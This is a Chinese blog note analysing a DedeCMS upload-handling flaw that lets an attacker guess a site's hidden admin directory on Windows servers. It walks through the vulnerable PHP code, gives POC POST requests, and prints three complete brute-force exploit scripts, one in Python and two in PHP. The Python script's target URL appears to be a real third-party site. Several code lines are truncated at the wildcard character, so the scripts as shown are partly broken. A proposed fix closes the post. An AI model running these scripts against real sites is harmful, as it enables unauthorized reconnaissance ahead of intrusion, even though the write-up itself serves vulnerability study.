参考文章

https://xianzhi.aliyun.com/forum/topic/2064

近期,学习的先知社区《解决DEDECMS历史难题--找后台目录》的内容,记录一下。

利用限制

仅针对windows系统

DedeCMS目前下载的最新版的还存在此问题。(DedeCMS-V5.7-UTF8-SP2.tar.gz )在网盘里找相应名字的就行

漏洞成因

首先看核心文件include/common.inc.php 大概148行左右,这一块是对上传文件的安全处理。

//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数

if($_FILES)

{

require_once(DEDEINC.'/uploadsafe.inc.php');

}

跟进uploadsafe.inc.php文件,25行

if( preg_match('#^(cfg_|GLOBALS)#', $_key) )

{

exit('Request var not allow for uploadsafe!');

}

$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name

${$_key.'_name'} = $_FILES[$_key]['name'];

${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);

${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);

if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )

{

if(!defined('DEDEADMIN'))

{

exit('Not Admin Upload filetype not allow !');

}

}

if(empty(${$_key.'_size'}))

{

${$_key.'_size'} = @filesize($$_key);

}

$imtypes = array

(

"image/pjpeg", "image/jpeg", "image/gif", "image/png",

"image/xpng", "image/wbmp", "image/bmp"

);

if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))

{

$image_dd = @getimagesize($$_key);

//问题就在这里,获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。

if (!is_array($image_dd))

{

exit('Upload filetype not allow !');

}

}

出发点是找个可以利用<<通配符猜解后台目录,所以只要$$_key参数可控就可以达到目的。

但在这之前有个if(!defined('DEDEADMIN'))的判断,这个很好绕过设置name为0就可以绕过。

因为这块第一个if判断$_key.'_name'是否为空,为空就不往下进行判断,所以给name赋值0就可以绕过了。

if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )

{

if(!defined('DEDEADMIN'))

{

exit('Not Admin Upload filetype not allow !');

}

}

最后关键的一点就是要让文件存在还和不存在返回不同的内容就要控制type参数了。

当目录文件存在的时候 返回正常页面。当不存在的时候返回:Upload filetype not allow !

最后总结一下:

$$_key这个变量可控是关键,此漏洞就是利用了往这个变量里传入一张已知存在于后台目录的图片,通过不断爆破路径检测页面是否返回'Upload filetype not allow !'来判断路径是否正确,最终确定后台路径是什么。

构造POC

http://localhost/dedecms/tags.php

POST

dopost=save&_FILES[b4dboy][tmp_name]=./de

Common.inc.php 是被全局包含的文件,只要文件php文件包含了Common.inc.php都可以进行测试,以tags.php文件为例

上面是作者的原POC,有个小问题需要注意一下,POST的是tags.php 属于根目录下的文件,在根目录下没有tags.php的情况下,需要找一个包含common.inc.php的文件,在这种情况下只能找二级目录下的文件,例如:/plus /include

那么如果根目录下不存在tags.php,POC的POST内同应该这样写

http://localhost/dedecms/plus/diy.php

POST

dopost=save&_FILES[b4dboy][tmp_name]=./../de

形成EXP

#!/usr/bin/env python

'''/*

* author = Mochazz

* team = 红日安全团队

* env = pyton3

*

*/

'''

import requests

import itertools

characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"

back_dir = ""

flag = 0

# url = "http://192.168.1.9/tags.php"

url = "http://www.xmspower.com/tags.php"

data = {

"_FILES[mochazz][tmp_name]" : "./{p}<

"_FILES[mochazz][name]" : 0,

"_FILES[mochazz][size]" : 0,

"_FILES[mochazz][type]" : "image/gif"

}

for num in range(1,7):

if flag:

break

for pre in itertools.permutations(characters,num):

pre = ''.join(list(pre))

data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)

print("testing",pre)

r = requests.post(url,data=data)

if "Upload filetype not allow !" not in r.text and r.status_code == 200:

flag = 1

back_dir = pre

data["_FILES[mochazz][tmp_name]"] = "./{p}<

break

else:

data["_FILES[mochazz][tmp_name]"] = "./{p}<

print("[+] 前缀为:",back_dir)

flag = 0

for i in range(30):

if flag:

break

for ch in characters:

if ch == characters[-1]:

flag = 1

break

data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)

r = requests.post(url, data=data)

if "Upload filetype not allow !" not in r.text and r.status_code == 200:

back_dir += ch

print("[+] ",back_dir)

data["_FILES[mochazz][tmp_name]"] = "./{p}<

break

else:

data["_FILES[mochazz][tmp_name]"] = "./{p}<

print("后台地址为:",back_dir)

python版exp

$domain='http://localhost/dedecms/';

$url=$domain.'/index.php';

function post($url, $data, $cookie = '') {

$options = array(

CURLOPT_RETURNTRANSFER => true,

CURLOPT_HEADER => true,

CURLOPT_POST => true,

CURLOPT_SSL_VERIFYHOST => false,

CURLOPT_SSL_VERIFYHOST => false,

CURLOPT_COOKIE => $cookie,

CURLOPT_POSTFIELDS => $data,

);

$ch = curl_init($url);

curl_setopt_array($ch, $options);

$result = curl_exec($ch);

curl_close($ch);

return $result;

}

$testlen=25;

$str=range('a','z');

$number=range(0,9,1);

$dic = array_merge($str, $number);

$n=true;

$nn=true;

$path='';

while($n){

foreach($dic as $v){

foreach($dic as $vv){

#echo $v.$vv .'----';

$post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$v$vv

$result=post($url,$post_data);

if(strpos($result,'Upload filetype not allow !') === false){

$path=$v.$vv;$n=false;break 2;

}

}

}

}

while($nn){

foreach($dic as $vvv){

$post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$path$vvv

$result=post($url,$post_data);

if(strpos($result,'Upload filetype not allow !') === false){

$path.=$vvv;

echo $path . PHP_EOL;

$giturl=$domain.'/'.$path.'/images/admin_top_logo.gif';

if(@file_get_contents($giturl)){

echo $domain.'/'.$path.'/';

$nn=false;break 2;

}

}

}

}

?>

PHP版exp1

/*

dedecms 后台地址爆破工具

使用程序时,必须指定dedecms的版本,例如:5.6

当你不确定dedecms版本时,请将5.6和5.7两个版本都尝试一遍,总有一个适合您!

Example: php.exe dedecms-exp.php 5.6 http://127.0.0.1/

*/

if(!isset($argv[1]) or !isset($argv[2])) {

exit("error!\r\nExample: php.exe dedecms-exp.php 5.6 http://127.0.0.1/");

}

$domain = $argv[2];

$url = $domain . '/tags.php';

$version = $argv[1];

$path = my_func($url);

if($path) {

while(($path = my_func($url, $path))) {

echo strtolower($path) . "\r\n";

}

}

else {

for($i = 48; $i <= 90; $i++) {

if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {

$path = my_func($url, chr($i));

while($path) {

echo strtolower($path) . "\r\n";

$path = my_func($url, $path);

}

}

}

}

exit();

function my_func($url, $path = '') {

$ch = curl_init($url);

$i = 48;

global $version;

while($i <= 90) {

if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {

if($version != '5.7') {

/* v5.6版本及其以下 */

$admin_path = './' . $path . chr($i) . '

}

else {

/* v5.7版本 */

$admin_path = './' . $path . chr($i) . '

}

$data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';

$options = array(

CURLOPT_USERAGENT => 'Firefox/58.0',

CURLOPT_RETURNTRANSFER => true,

CURLOPT_POST => true,

CURLOPT_POSTFIELDS => $data,

);

curl_setopt_array($ch, $options);

$response = curl_exec($ch);

if(!preg_match('/(Upload filetype not allow !)/i', $response)) {

$path = $path . chr($i);

return $path;

}

}

$i++;

}

curl_close($ch);

return false;

}

?>

PHP版exp2

修复方案

这个是我自己提供的可能不权威,

主要思路就是把.和/过滤掉,这样就读取不了文件了。

if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))

{

$$_key = preg_replace('#[\/\.]#i', '', $$_key);

$image_dd = @getimagesize($$_key);

if (!is_array($image_dd))

{

exit('Upload filetype not allow !');

}

}